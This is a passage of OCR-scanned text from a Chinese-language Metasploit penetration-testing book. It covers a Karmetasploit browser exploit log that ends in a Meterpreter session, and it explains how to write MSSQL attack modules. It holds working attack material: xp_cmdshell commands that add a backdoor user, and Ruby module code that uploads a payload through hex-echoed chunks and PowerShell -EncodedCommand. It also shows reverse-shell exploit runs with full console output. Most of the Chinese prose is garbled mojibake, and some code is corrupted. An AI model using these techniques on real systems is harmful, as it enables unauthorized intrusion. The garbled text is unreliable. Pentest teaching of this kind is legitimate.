300683513 : 1v=1267703430218 : £5=1267703362203 ; M(1=0U1D=09633fd2bddcdbabalfed2cc49fbaac ABHASH=

d23fRLV=201038V=3; A=T&T-AxUFAAMAAAAUBWAADSATER JMarfsg02pHsnjog! |; MUID=C71450932C864
1BEBCO13CEAS(4326AE

[*] Request 'fads' from 10.0.0.100:1371
O [*] HTTP REQUEST 10.0.0.100 > adwords.google.com:80 GET /forms.himl Windows TE 6.0 cookies-
[*] HTTP REQUEST 10.0.0.100 > blogger.com:80 GET /forms.html Windows IE 6.0 cookies=
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[*] HTTP REQUEST 10.0.0.100 > care.com:80 GET /forms.html Windows IE 6.0 cookies=

[*] HTTP REQUEST 10.0.0.100 > careerbuilder.com:80 GET /forms.html Windows IE 6.0 cookiess
[*¥] HTTP REQUEST 10.0.0.100 > ecademy.com:80 GET /forms.html Windows IE 6.0 cookies=

[*] HTTP REQUEST 10.0.0.100 > facebook.com:80 GET /forms.html Windows IE &.0 cookies=

+|-|-5'H1qu.q.

[*] HTTP REQUEST 10.0.0.100 > www.slashdot.org:80 GET /forms.html Windows IE 6.0 cookiess=

[*} HTTP REQUEST 10.0.0.100 > wwW.twitter.com:80 GET /forms.html Windows IE 6.0 cookies=

[*] Request '/ads?sessid=V2luZGO3CzpYUDpTUDIEZWALdXMEeDg20k1TSUUBNIAWOINOMjoR3d’ from
1¢.0.0.100:1371 '

[*] JavaScript Report: Windows:XP:SP2:en-us:x86:MSIE:6.0;5P2:

[*] Responding with exploits

{*] HTTP REQUEST 10.0.0.100

{*) HTTP REQUEST 10.0.0.100

[*] HTTP REQUEST 10.0.0.100

[*] HTTP REQUEST 10.0.0.100

wiiw . Xing.com:80 GET /forms.html Windows IE 6.0 cookiess

www . yahoo.com: 80 GET /forms.html Windows IE 6.0 cookies-

www.ziggs.com:B0 GET /forms.html Windows IE 6.0 cookies=

xing.com:80 GET /forms.html Windows IE 6.0 cookiess=

[*1 HTTP REQUEST 10.0.0.100 » yahoo.com: 80 GET /forms,html Windows IE 6.0 cookles=

[¥] HTTP REQUEST 10.0.0.100 > ziggs.com:80 GET /forms.html Windows IE 6.0 cookies-

[*] HFTF REQUEST 10.0.0.100 > care.com:80 GET / Windows IE 6.0 copkies=

[*] HTTP REQUEST 10.0.0.100 > www.care2.com:80 GET / Windows IE &.0 cookies=

[*] HTTP REQUEST 10.0.0.100 > activex.microsoft.com:80 POST /objects/ocget.dll Windows IE
6.0 cookiessWT FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:5s5=
1267703362203 MC1=GUID=09633Ffd2bddcdbabarfeb2 cc4ofbqacdRHASH=d 23 fRLY=20103RV=3; A-1&I-
AxFAAAAAAAUBWAADSATOR IMar f5902pHsnjog!1; MUID=C71490932CRB6418BEBCS13CE4ARC4326AE

[*] HTTP 10.0.0.100 attempted to download an ActiveX control

[*] HTTP REQUEST 10.0.0.100 > activex.microsoft.com:80 POST /fobjects/ocget.dll Windows IE
6.0 cookies=WT_FPC=1d=111.222.333.444-1008969152. 30063513 : 1v=1267703430218: 55=126770C
3362203; MC1=0UID=08633fd2bddcdbabalfeb2cca9tbsacaBHASH=d23F4LV=201038V=3;A=I81=
AXUF AAAAAAAUBWAADSATORIMarfs902pHsnjog!l; MUID=(71490932(86418EBC913CE45C4326AE

[*] HTTP 10.0.0.100 attempted to download an ActiveX control

[¥] Sending Internet Explorer (OM Create0bject Code Execution exploit HTML to 10.0.0.100:1371...

[*] HTTP REQUEST 10.0.0.100 » activex.microsoft.com:80 POST fobjects/ocget.dll Windows IE
6.0 cookies=WT_FP{=id=111.222.333.444-1008969152.30063513:1v=1267703430218:58=
1267703362203; MC1=0UID=09633fd2bddcdbdbalfeé2cc49fbdac4dHASH=-d23faLV=201038V=3;A=14]=
AXUFAAAAAAAUBWAADSATER JMar fs802pHsnjog! I, MUID=(71490932(86418EBC913(E45CA32bAE

[*] HTTP 10.0.0.100 attempted to download an ActiveX control

[*] HTTP REQUEST 10.0.0.100 > codecs.microsoft.com:80 POST /isapi/ocget.dll Windows IE 6.0
cookies=WT FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:55=1267703362203;
MC1=GUID=09633Fd2bddcdbabalfe62cca9fbdacRHASH=-d23FELY=201038V=3; A=IBI-AxUFAAAAAAAL
BwAADSATERIMarfs902pHsnjog! |; MUID=(71490932086418EB(913CE45C4326AE

L L T

. - SNIP . ..

[*] HTTP 10.0.0.100 attempted to download am ActiveX control

[*] HTTP REQUEST 10.0,0.100 » codecs.microsoft.com:80 POST /isapi/ocget.dll Windows IE 6.0
cookies=WT_FPC=id=111.222.333.444-1008969152. 30063513 1v=1267703430218: 55=1267703352203;
MC1=CUID=09633fd2bddcdb4balfeb2cc49fbdacdhHASH=d23fhLV=201038Ve3; A=IS1=AxUFAAAAAAAL
BwAADSATERIMarfs902pHsn]og! 13 MUID=C7149D932C86418EBCI13CE45C4326AE

[*] HTTP REQUEST 10.0.0.100 » codecs.microsoft.com:80 POST /isapi/ocget.dl]l Windows If 6.0
covkies=WT FP(=id=111.222.333.444-1008969152.30063513:1v=1267703430218:55=1267703362203;
MC1=0UID=09633fd2bddcdbabarfeb2cc49fblacdBHASH=d23TALY=201038V=]; A=IRI=AxLFAAAAAAA)
BwAADSATER IMarfs002pHsnjog!!; MUID=C7149D932086418EB{913CE45C4326AE
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[*] HTTP REQUEST 10.0.0.100 » codecs.microsoft.com:BG POST /isapi/ocget.dl]l Windows IE 6.0
cookies=WT FPC=id=111.222.333.444-1008565152. 30063513 ; 1v=1267703430218:55=1267703362203;
MC1=GUID=00631Fd2bddcdbdbaifebzcc49fbiacabHASH=-d23fELV=201038V=3; A=IRI=AxUFAAARAAAU
BwAADSATERIMarfs002pHsnijog!tl; MUID=C7149D932C86418EBC913CE45C4326AE

[#] Sending EXE payload to 10.0.0.100:1371...

[*] Sending stage (748032 bytes) to 10.0.0.100

O [*] Meterpreter session 1 opened (10.0.0.1:3333 -> 10.0.0.100:1438)

E R P, R LLE N, Metasploit B ERRE FR S MRITNSE R B T B
T ERO. RE, A JavaScript XA HIRFHRFREMP D ER A O, HHEHBER
HEFHITHNO. TOL4FFEHETRE EEBN ActiveX 54, BE 12-1 Frz—HBRAER
B4 . T RAKRBAEF L Metasploit IETEXM & F Wi T8 BN 370, £ RMENAEILR,
FREEE M ERERII T, HF LM MRGSEEENEvEHraiE [T !

[ ) MSF £83%, IRANGEME I 2iFHITHRME, HARBRITEBR RSB TH 1M, i
£, HEXRRB/FATHRBLGE, - SERPESITHETR RS, LI agxH.

meterpreter > sessions -i 1

[*] Starting interaction with 1...

meterpreter > sysinfo

Computer: V-XF-S5P2-BARE

0s : Windows XP (Build 2600, Service Pack 2).

Arch : %86
Language: en _US

meterpreter > getuid

Server username: V-XP-5P2-BAREM\Administrator
meterpreter > run migrate -f

 *] Current server process: jEFiwxBKyjoHGijtP.exe (3448)
[*] Spawning a notepad.exe host process...

[*] Migrating inteo process ID 2232

[*] New server process: notepad.exe (2232}

meterpreter > screenshot

Screenshot saved to: /opt/metasploit3/msf3/rkGrMLPa. jpeg
meterpreter >

B 2% Windows XP SP2 Bl ZH B B IEF A L 2K Internet Explorer 6 (A E BRI EHRR
B, BB ERATEEZ wEEEHG, REENM MEENLERE T -

12.5 &

BHLEMECETR T EERTHIGE. REXHBEESEAR XA FERITEHE, M
MR — T ERBRINAERXRN T EMNERAKRIBOALELE FREN. SHRGEEE
PEETERIRIITH, EACHNFAFEEFRNEERWHTRIBNTERABRE.,

BERCEFNEBIRGE SR, RABMSHELTERAANEEMEHRENT
ME. {RHHEIXFRMNEER B R R I ERG? b 7 GEH WEIETEIE1T Karmetasploit?
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w5 {R HCHRR

4 G 3 O F) Metasploit BN LLEIE B, REMER - -LhREREeR Uk —MEEEH
MEE. BT Metasploit T H Ruby 1&E LM, EHBIESFEFAEESSE Ruby BIEES.
RIREARE—N Ruby “ZHEH” Mg, NEFRESERTRSEHES, §AAERY, SRR
NEEgEMmEE>]. RERER, 23 Ruby ESHRHEAESN. MRAEIRA SR AT DY —
56 Ruby #E:3:, ROT LSRRI AR, =l ViR Ruby i85 41H, REEHPIREERE,

HEABEFR, JAVERE — 8N mssgl powershell FIEER, FEIWEE 18 | Defcon &l b
i Josh Kelley (winfang) #0 David Kennedy TR I —IRBBEHA, A MERHRHHIFR %
31 8 PowerShell i) Windows B{E &4 (BRiA 2 Windows 7).

X ELHE 2 — M ERHER] MSF 3RS Em 8 b oS St Bl b ag 2, 3 AT LU it
MS SQL EHjteimB| Bir RS L, XM B AKX BAFERE LS, ¥ — B PowerShell
A B HRIE EFRE R — N 3 E e AT 0, BREDUTE, HABmEEESE -1
shell 215 . X MERBAWELIMAT Metasploit {28, HARHBEBEETEM, HATAIX
B A Z PR EBRUARE SR A .



Metasploit 3£ 1% R)iX 15 il

XA FEEIP i R - B TSSO O T NI R AR, S MS SQL BT R,
HEER M IR, XL ERH Metasploit HEXZ5E KTHRERTABIH]F. 2GR
HATBEN RN, B LSEIREFIIFABRENGFNER, XMNMEIRNE 5SS R R
FIBEST, FRTELRIA B e R AR B B X, M ARERIERZEARN LT —#,
MARVRFAD T Metasploit 1238, BT ULAE—MHSMHIR AR, 445 MR RRIPIRER .

13.1 7E MS SQL Fi#1TH ST

EHE 6 EFRICERD, KEFMAKEEDE MS SQLHETERERAKF (sa) MI4E
WEABFEY, MEMANEZEREERRIIX2EENE RSERMTELE. sa kPRI
MS SQL ¥ 45 FE £ L ) sysadmin 0, YR TRERRN., BE2EN FESHE—L MS SQL
AR 25t LRI E 7% 045 EEE sa S AT EHEFREHRR A B2 H K MS
SQL R4 2B 3CHLA B, SESURIMM M H B IXFE RIS TEER G . EORNICEAESE 6 HE44H
HIAEE, PRAr LL{FH] Metasploit RO EE ) LRI R B MS SQL HE 2], H 298 K sa M
FPREIT D4 8 .

HREOLE B T P selKS2)E, HEATLUE MS SQL S EfEE A . RIBR.
SIEEfT MBS, KPP RETEA MREEELINRAT RIF & TP xp_cmdshell.
i 3 7 i T P SR AT BAFE MS SQL BR S-S5 IR & B1Ef T 73RBS GA %6 & Local System) T
PITIRRBRIERE w2 .

$875: SQL Server 2005 # 2008 FHf £ XK E 4 IREFTER, 2E—2RF
sysadmin # EAURIT AR A SQL @4 R FAME Z AU, #lde, ARTeA& A SELECT
loginname FROM master..syslogins WHERE sysadmin=1 # & £ & & M4 sysadmin A &6/ F
Flf, REEHEBRLT —AA P eideslan, SRCBIA T sysadmin A S22 5, RERFL
C2 KR T A MS SQL £ 4.

BT RAa-SEa T NAEIT Metasploit FA MS SQL #F BHBURET —RIEERERS
B4

O use mst > use admin/mssql/mssql _exec
® msf auxiliary(mssql exec) > show opticns

Module options:

Name Current Setting Required Description

(MD cmd. exe /o echa OWNED » C:\owned.exe no {oemmand to execute

PASSWORD no The password for the
specified username

RHOST yes The target address

RPORT 1433 yes The target port

USERNAME sa no The username to authenticate as
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®© mst auxiliary(mssgl exec} » set RHOST 172.16.32.136
RHOST =» 172,16.32,136

@ msf auxiliary{mssql exec) > set (MD net user metasploit p@55wOrd /ADD
(MD => net wser metasploit p@sswOrd /ADD
mst auxiliary(mssql) _exec) > exploit

[*] SQL Query: EXEC master..xp cmdshell 'net user metasploit p@sSword /ADD’

®© The command completed successfully.

[*] Auxiliary medule execution completed
mst auxiliary(mssql exec} >

FEXNTH, BTIELEET mssql exec Y BERO, SH&EHREE LEBNAH
xp_cmdshell FFEEEXMTRERL WS, BTRK, BRIERFT REHRAERERMAIEO, ¥
WETHREFIO, REEATRHERTHRERATSO, BRERIIE exploit Ay £iTE
EW . RO AEFRESFE R AT, BAIELFIA xp_cmdshell #7-2 BAIhHLTE R TMA
T- M. (FEXE, RAIATLIFFIRAT net localgroup administrators metasploit /ADD 4%,
FZA P AR B RGN AR n )

AT R, PRI EUR R, mssql exec FRERBLSENUE —illid MS SQL AR FH#HTU5 Y
24T shell.

13.2 RE—1BFTEH) Metasploit =Lk

MR IGFEA I HTHIRAE L BBE A mssql_exec ik, REFERMOMALIA. XFERF
BRI AES S B ORISR W, HERARRAENA LES P EW R, ERIMER—
P XA REFJIRIT LN IREY, REFERZUNFLIER:

rootdbt : /opt/framework3/msf3# nano moduvles/auxiliary/admin/mssql/mssql_exec. b

T AT EASRERTHEL RN, BFEe8 T -EFREAMNKERER:

@ require 'msf/core’

® class Metasploit3 < Msf::Auxiliary
©include Msf::Exploit::Remote: :HISQL

def Tun
Omssgl xpemdshell{datastore[ '(MD'], true)
if mssql login datastore
end
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FB—ITOHEFRA XA E B B 5| B Metasploit O FEPRITIRE, # T ROE X T iZERE
F—-EHBIEER, include TEO B XHEA, © M Metasploit ZLEDPSIH T MS SQL thill 4
B, K& 7 BrE 2 T MS SQL RBEMATH 5 MS SQL AHX BT ReA, Bt » A Metasploit
MBBOCEDPEBRIEEHRERE RS CMDO, FIHAH MS SQL il 5 5§
mssql xpemdshell BE17TEIIT .

1A 12 R AT T Metasploit #%0F P MS SQL #hillShgefril, >k EAREA
ThitF - MEFRNTH. RNELWTHL2EARNET QS 2 RBITIH mssqlrb TR
mssql_command.rb XA

root@bt:/opt/framework3/msf3# nano lib/msf/core/exploit/mssql.rb
root®bt : 7opt/framework3/msf3# nano lib/msf/core/exploit/mssql_commands. rb

f£ Nano HREMRPMHH CTRL-W & mssqlrb X3 mssql_xpemdshell, R0 LR H
WTFARNBRNEX, ©FFT Metasploit #0172 f#H xp_cmdshell F L 2.

#

# Execute a system command via xp_cmdshell

H

def mssql xpcmdshell{cmd,doprint=false,opts={})
force enable = false
begin

res = mssql_guery("EXEC master..xp cndshell® “#{cmd} @", false, opts)

R Th t T HRTEYE MS SQL R4 88 L3ATH SQL AWiEH), AJEABRIXA—4
xp_cmdshell FFBEEAAHO, UR—MBEREAAFPFERRITHSHNERG, LMK, #&
REPWMID— AP RAEHE SR SR omd ZTE Y “net user metasploit p@55wird! /ADD”,
MIO7E MS SQL ¥EF FH#A4T EXEC master.xp_cmdshell 'net user metasploit p@55wOrd!
FADDY .

WMEBIREEESEBD) mssgl commands.rd XA, X BIRALEF BEHE N
xp_cmdshell FAELIFE R,

# Re-enable the xp c¢mdshell stored procedure in 2005 and 2008
def mssgl xpcmdshell enable{opts={}};

"exe¢ master.dbo.sp configure 'show advanced options’, 1;RECONFIGURE ;exec
master.dbo.sp configure "xp cmdshell’, 1;RECONFIGURE;" @

1 B O AT FHXAE MS SQL 2005 R 2008 F #iE xp_cmdshell 77T BB RiXHar4.
B, HOCETHTHHRESE CHREFEHINAE, BALRNAHRER!
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13.3 HE—1THAERER

BUS VR EHT — B EE, WaEA T —8E1T%HE Microsoft Server 2008 R2 ¥ & Hl
SQL Server 2008 B &4, H TR Windows 7 x64 {73 & fl Windows Server 2008 F & 52
1 debug.exe, RIHTERZXEERE FIEEMERATESE 11 480450 ok B o aT .
XA E N T BEHT H - - FERR, FRMRRES B — & Windows Server 2008 1 SQL
Server 2008 H) R &

BNERZIXSEW A ]RFHOBWTRE, H% RESHEMER T SQL IR se B/ D
€, XM EELBET xp_cmdshell F5TREHRH . MRFEEXS HIRRE H4E—
Meterpreter BY 84, {HREBR T 1433 i D2 SN HE B3R ORI M. REAREIE Hds RS
725 H Y ELT K aE Windows BFPT KIERIRD, BERLEMREIXE RERNROFIEREX
PHBs ki, BLERSHESREE.

13.3.1 PowerShell

Windows ] PowerShell 2B EZXFREH R THE—ATITHEE A . PowerShell £ —/1)
RETRAH) Windows BIAET, AL AWRIES R STR DK NET . FiKH
PowerShell #t X IEFERET BZAN TR, BTN EEEMES NET H#EHELER RS2
THRA—PEFHFMEH TR, BINEXERSRESHEAT PowerShell I THEEBNEHAT
FIThgEh &, FAFRENECRRE—WEF NGRS FH LW LR -FhEIhas s K
WMEEGHRRAT.

B RE — B, ] Metasploit SR ATHEER i FIBE B A A#SER (8
# Base64 FRIBTTI0), BEARHMWIEENRERI LE, RISEANEH PowerShell ¥4
$al - IR, XEHRIREL AT LARATE T .

B, BB TS, M mssql payload iBF RS 0 N - MER SO

root@bt:/opt/framework3/msf3# cp modules/exploits/windows/mssql/mssql_payload.rb
modules/exploits/windows/mssql/mssql_powershell.rb

WG, BIHTIFRIRICIEREY mssql_powershell vb JL4F, W FHERETHMLE, XE—4 T
BB shell g, 1 — LR AT FETARRRYRHIAR S, HEL—FAZiTgESid
AR — S AH K.

require 'msf/core’ # require core libraries

class Metasploitl < Mst::Exploit::Remote # define this as a remote exploit
Rank = ExcellentRanking # reliable exploit ranking

include Msf::Exploit::Remote::MSSQL # include the mssgl.rb library
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def initialize(info = {}) # initialize the basic template
Osuper{update_info(info,
"Name ' =>» 'Microsoft 5QL Server PowerShell Payload’,
‘Description’ =» ¥q{
This module will deliver our payload through Microsoft PowerShell
using M5S0L based attack vectors.

Is
"Author’ => [ 'David Kennedy "RelL1K" <kennedydo13[at]gmail.com>'],
"License’ =» MSF_LICENSE,
'Version' => "'$Revision: 8771 %7,
'Reterences’ =»

|

[ "URL', 'http://www.secmaniac.com' |
1
® 'Platform’ => 'win', # target only windows

‘Targets’ =3

[

1,
© 'DefaultTarget’ => 0

))

register_options{ # register options for the user to pick from

[

©0ptBool.new( 'UsePowerShell”,[ false, "Use PowerShell as payload delivery
method instead”, truel), # default to PowerShell
1)

[ "Automatic', { } ], # automatic targeting

end
def exploit # define our exploit here; it does nothing at this point

©handler # call the Metasploit handler
disconnect # after handler disconnect
end
ehd

ERXTEEALRREBER LELW, REFTEE L -URENBEE. HE&EE X

B, k. BIHNSERIN0, Z2EENEXERNEZITES (Windows) OLLE B E%
KO (TERERFLRR . FARNRIMNEX MK UsePowerShell %O, BB
mERP EEALESEH. BERE—MENEO, MM EEE A B RS RT
puzt: N

13.3.2 3i={7 Shell B EN T

EXR (BB REERAIER LG, BAIE MSF FiFPisfTixMER, RES TR T

= ALE
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Module options:

Name Current Setting Required Description

PASSWORD no The password for the specified username

RHOST yes The target address

RPORT 1433 yes The target port

USERNAME 53 noe The username to authenticate as

UsePowerShell true no Use PowerShell as payload delivery method instead

LIRBE 5 EHRAEM show options #4187 JZ1Ti% a4 A LA B R HES B M8 E K
FHh ) BT Rl BoE .

MR RASTRMRTE TEBREREN mssqgl_powershellrb X4, RIFHARFHI—
N mssglrd CPEP

24 R Metasploit BHER B3R Gnodules/exploits, modules/auxiliary) P HEE &M BRI EHH
HEHREN, RERMAXEEERAT). FHRIMER, WA —B “def exploit” {{is.
AT F 3R SR AC I N R B R, iERIM A B E X e A B! TEF
MR, BATEE DA def exploit {058, XBRABEX T EINNBEREIRELE DT
1B, REBA1S R4 K TH B — B ERR LRSS, FEEERAMTE—
BLEE .

def exploit

# if u/n and p/w didn't work throw error

Oif{not mssgl_login datastore)
®@print status("Invalid SQL Server credentials”)
return

end

# Use powershell method for payload delivery
©if {datastore[ 'UsePowerShell’])

®powershell upload exec(Ms::Util::EXE.to win32pe(framework,payload.encoded))

end
handler
disconnect
end
end

ZMERFEREZRNETERERNGERT O, MRAFTER, WL “Invalid SQL Server
Credentials” ORI IR1E A . UsePowerShell 7772 @ZFRiAR powershell upload exec IEH®,
X R Qb1 -ARATEBEN A T R Metasploit i, ERINERFZITIX
ArEBRHERE, JRANIZE MSF ZaibhigeRIMMEB RN BERES, ZRBRIE Msf:
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Metasploit i % 18 &
Util::EXE.to_win32pe(framework,payload.encoded) KR I AL B B B AR A1 £ —AN A BLER
oy R

13.3.3 ## 5 powershell upload_exec &{ 3%

WA BAIKAT HF 2 it & T # Metasploit #%-0EPE mssql.rd XM, FAESHEBN. B
{17833 powershell_upload_exec i 587 ¥ .

root@bt: /opt/framework3/msf3# nano lib/msf/core/exploit/mssql.rb

B HREY Metasploit 9, HAJLIIER “PowerShell” . Fi%0]LIZE mssqlrb XHEPHINIMT S H
IS, fRO] LR XA M O P i ER, ik RAIE LGS X R,

#

# Upload and execute a Windows binary through MS SQL queries and PowerShell
#

Odef powershell upload exec(exe, debug=false)

# hex converter

@hex = exe,unpack("H*")[0]

ff create random alpha 8 character names

©var_payload = rand_text_alpha(8)

@print status{"Warnming: This module will leave #{var payload}.exe in the 50QL
Sexver %TEMP% directory")

0] LLE BB 1138 powershell_upload_exec EE ¥R ZE L O, %BRE AT exe T debug R PR
ME¥, exe BRI Z AT LA K IR F B M IE 85 185% Msf::Util::EXE.to_win32pe(frame-
work,payload.encoded) B R ZFHIBAT L, T debug ZHBOARE N false, T RA]
ReEH AN debug B R, JRBFEHTRR ST ERBIEEAN true.

BETX, BRMMENRBEZEN_HTEFFERLREHTAEGBRERXO, XTTH
“H” g BrEE “37 7 ZEHE R X4, R T NEEBad R,

RIIGIE T —MHEAIFH BN FEBAMRK 2O, 8% XMV CHZ T LRI AH
PARRE.

BiG, BRIOIEFREGE, RHRNWEFSREEERARETD, £ SQL REN/Temp Ox
TO.

13.3.4 M7t #iE ZE s F

T A PowerShell 485 HACHE Bon 1 Bl ¥k Bl —# R FHLR, XEUH
BEBR XA ENHERER, R LEZHERE LT R,
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# Our payload converter grabs a hex file and converts it te binary through PowerShell

@ h2b = "$s = pc "C:\\Windows\\Temp\\#{var_payload}';%s = [string]::Join('", $5);%s= @3s.
Replace(""r','"); $s = $s.Replace(''"n’,"");3%b = new-cbject byte[] ${$s.Length/
2);0..3(3b.Length-1} | %{$b[$_] = [Convert]::ToByte($s.Svbstring(${$% *2),2},16)};
[I0.File]): :WriteAllBytes{ ' C:\\Windows\\Temp\\#{var_payload}.exe’,3b}"

®© hzb_unicode=Rex::Text.to_unicode(h2b)

# baseb4 encoding allows us to perform execution through powershell without registry changes
® hzb encoded = Rex::Text.encode base&4({h2b_unicode)

® print status{"Uploading the paylocad #{var payload}, please be patient...”)

AL PowerShell 12 7 — AT /AR E AR ERO, XTAMHERFLECET
—ANFHEL, REFTAHEGIN Metasploit AT A i B A XBAM X (var_payload &
S ML Metasploit AR K — -BESLCAES ) .

H¥ MS SQL 775 M FAKENRE, BRAFES -7 S flHER R H8RE o & 500 F
TR, AR EA SR GRS ERXFETH3R—TRERRESMB Bis R %a
X PHIERN—2E 43587 (CRLF), MXERERITHFFEE EE. RINEINTHER
M &b B B A E AT RO, WRRN AW XER ERITTMER, MBATHRK RN ZH
HEFHRWARY, ARRERHT. EREXE, RONMGANRPRHAES FEDE  Hn
BB, RalLlSR0h £ T BIERITH.

—HXERERITHHEERZ S, LM A3 %K Metasploit B o5 % f7 18 H
Convert::ToByie, L MTIik PowerShell # + S HIFE AP X HEBRIFBARE 1M XHEAN
#{var payload}.exe ) “HHIEFP. EETERATH 2b WAZE, BIILL -Ff PowerShell 4
FE S B a2 S 7 ORI B R T oe S, Midjm mar & AAIFRNIBERAE -1TP
TR R AU

RITE %R 2b FRBFHHRNA Unicode RZHAO, REH -4 Unicode THHBIHAT
Base64 4ui5 @, iXBTEAI10] LA -EncodedCommand #rE{r 151528 PowerShell, LI%eil il # 15
THAFHNITRE WITRE A TR LR FENRERENRT, XX TRPH PR
SPATE M ETHRHNEESHEEREE, mRENAN XSG EITERE, BAKLERIT
PowerShell 1088, BAWMEZEWEEHERS. Xy T REER R LHRIENHRT R
HBgE, JFRILAE— Ry PR IR £ ARG AE.

TFEAEE T h2b FAr S b ar S dr &AL /e, BEAREBiE PowerShell ay-& I —#p IEHA )
BTN, E—PAERBIBFHE P HATRIIE) PowerShell 0.

193



Metasploit j#EA X5

TEE®, WHTAFHEEA Unicode /%, X 2F2HMGE DL ELS PowerShell FIEXRE
K. h2b encoded=Rex::Text.encoded_base64(h2b unicode)iEf)4 77 itk — 56 ¥ Base6d 4
7%, 153#4%5 MS SQL. Base64 # EncodedCommand ¥ EM A ERAMNSHID T R. BRI EHF
FFEE ¥ A Unicode, ARG H L. Base64 dafty, B2 PowerShell s 2RI FERA. BE, &
fim 2 minl — &SRO, T LE LGB ETT.

13.3.5 &=

WG B LR S e, b REEEF 2R T £/ ERENMR
Arh, — AR idx BATREN 0, FIRFE RSP ERR, IFESRAAE TSR R
HRERE RGBS 500 =9, @il XS ERHE “IER 500 F, RERZE, §

IR 500 F, BA0E”, HEIEERIEGERE.

O idx=0

@ cnt = 500

® whilef{idx < hex.length - 1)
mssgl xpcmdshell(“cmd.exe /¢ echo #{hex[idx,cnt]}>>%¥TEMPE\\#{var pavlcad}", false)
idx += ¢nt
end

@ print_status("Converting the payload utilizing PowerShell EncodedCosmand...")
mssql_xpcmdshell(“powershell -EncodedCommand #{h2zb_encoded}"”, debug)
mssql_xpemdshell{"cmd.exe /c del ZTEMPR\\#{var payload}", debug}
print_status({"Executing the payload...")
mssql_xpemdshell ("STEMPE\\#{var_payload}.exe", false, {:timeout => 1})
print_status("Be sure to cleanup #{var payload}.exe...™)
end

MHZ - T RIOESH LA EEZ AFRERSA, FEBESEER 500 7T, i)
TERT T HORR idx ORI cnt®@ SRERER BT S0MeT R AT B2 0 50 D, T 30088 idx FEIRIEAC et (5000 A5
T, M Metasploit BB IKIE 500 FHO, HEE FAHSBINANEBEIBRES L,
HE idx M EBRER S5EEHEERE, XHRE.

HAEE| —#HEO, #BEE D448 A-EncodedCommand PowerShell #y S 1T
¥e, MEHEM PowerShell in 4 ¥ # A Base6d BT HF R, REABHTERERES L.
"powershellEncodedCommand #{h2b _encoded} " {{RITR T B84, Hid£id Basebd i
PowerShell %, #1NEEBIRKEAHFERE ERAN, SAHRRANIGERE L, BiEi#
ITHAT
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LB RREA mesqlrb CHH2 U

#

# Upload and execute a Windows binary through MSS0QL queries and Powershell
it

def powershell upload exec{exe, debug=false)

# hex converter

hex = exe.unpack({"H*")[0]

fi create random alpha 8 character names

#ivar_bypass = rand text alpha(8)

var_payload = rand text alpha(s)

print_status("Warning: This module will leave #{var payload}.exe in the SQL
Server XTEMPY% directory")

# our payload converter, prabs a hex file and converts it to binary for us through
powershell

hzb = "$5 = go 'C\\Windows\\Temp\\#{var payload}';%s = [string]::Join{’ "', 35);%s
= $s.Replace(''r",""); %5 = $s.Replace('"n', ' ");%b = new-object byte[]${%s
Length/2);0..5($b.Length-1) | %{$b[$ ] = [Convert]::ToByte{$s.5ubstring
{$($_*z),§),1ﬁ}};[Iﬂ.File]::Hriteﬁllﬂytes('C:\HHindﬂHEHHTEmpkh#{uar_payluad}

.exe' $b)"

h2b unicode=Rex: : Text.to unicode(hzb)

# basebd encode it, this allows us to perfurm execution through powershell without
registry changes

h2b encoded = Rex::Text.encode basebq(hzb unicode)

print_status(“"Uploading the payload #{ver payload}, please be patient..."}

ide = 0

cht = 500

while{idx < hex.length - 1)
mssql xpemdshell("ond.exe /¢ echo #{hex[idx,cmt]}>oXTEMPENR{ var_payload}™, false)
idx += ¢nt

end

print_status{"Converting the paylead utilizing PowerShell EncodedCommand...™)

mssql xpcmdshell("powershell -EncodedCommand #{h2b_encoded}”, debug)

mssql_xpemdshell(“cmd.exe fc del ETEMPEN#{var_payload}”, debug)

print_status{“Executing the payload...™)

mssql xpcmdshell{"X¥TEMPE\\#{var payload}.exe”, false, {:timeout => 1}}

print_status("Be sure to cleanup #{var_payload}.exe...”)

end

13.3.6 IEITEEUETEEIR

LEATIFER mssql_powershellrb K mssqlrdb FRRBTEZE, BATALUAT Metasploit
FEZLH MSF i RIETIX B BN iR, R 77, HNFETIA EIRENKIE - B8 %
T PowerShell. FRTERATA UETIE T T F o & R PAT RA 1 o 5 112 E BLE R

msf > use windows/mssql/mssql_powexshell

mst exploit{mssql_powershell) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

msf exploit{mssql powershell) > set LHOST 172.16.32.129

LHOST =» 172.16.32.12%

msf exploit{mssql powershell) > set RHOST 172.16.32.136
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RHOST => 172.16.32.136
mst exploit(mssql powershell) > exploit

[*] Started reverse handler on 172.16.32.129:4444

[*] Warning: This module will leave CziBAnfG.exe in the SQL Server XTEMPX directory
[*] Uploading the payload CztBAntG, please be patient...

[*] Converting the payload utilizing PowerShell EncodedCommand...

[*] Executing the payload...

[*] Sending stage (748032 bytes) to 172.16.32.136

[*] Be sure to cleanup CztBAnfG.exe.,.

[*] Meterpreter session 1 opened (172.16.32.129:4444 -> 172.16.32.136:49164) at 2010-05-17
16:12:19% -0400

meterpreter >

13.4 &G KIBERAMES

# AR A BLA R, ke, F¥m— F IR IR 2 81T LLZE Metasploit
T LM S RAER M ER. RERM Metasploit HERF T —LHEK, HOEFI THE
fREBRIT RN, BEAZKHEAT, REFLETEAFTTFERESIKE CRRRANG. &
BENEHARFREIARTRTE, BHREHEESERRME Metasploit IR, B ANE
A4 DL R INTALEIR, XS BRITRFARIT Metasploit AIIATR T A L &g 5 6E 70 AR
FHER. £ 14 ERIETF A I SEGE AR, BRI EIEf]. FEERER
R MAAL U RN THERN, REFATLMSHESRTRA CRBENRE . WROL
AWM Ruby HiSiES, RERNEATLERE —RABRENIE. HiR -4 Ruby BT HIEMN
¥, YR, FIAMFARGREREHFEER, BEFEZLEFRTLEFHRENRIR.
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4 -
SRR E OB ER HE

YEA— R BENRE, FREMKHNERNERGRENBER, R Metasploit PR
AHNSERLERAER. X, FTUER A CRRIEXSENRAERPRER, HFYe)
RERTIRH D HBEEE.

A0 O e B - A A A ) R R AR SRR B R W Y I R P RE AT Fuez WA, Fuzz SAB -
SEME . EFN. BEMEILARESATI BENRART D, AR5 ENEETHIE N
BMERETH. MREBETISFRERRAZERA, FRATLGE—2ARF R — NS BRG
B, Fuzz FREAFEARE—1T AMEE, MACLBE L BHEES T HIXFHEAR. FXB
TAMRNA— K Fuzz BRAF R T, RIGEEARNA RS — 7T LI e E R SR .

A, BAPBFERR L5 — TR Fuzz MR EZRFR G &5 EABATHE,
AT THE B — N 7 NetWin SurgeMail 3.8k4-4ru 3K {7 i Matteo Memelli (ryujin)fT RIRE) 2 A A
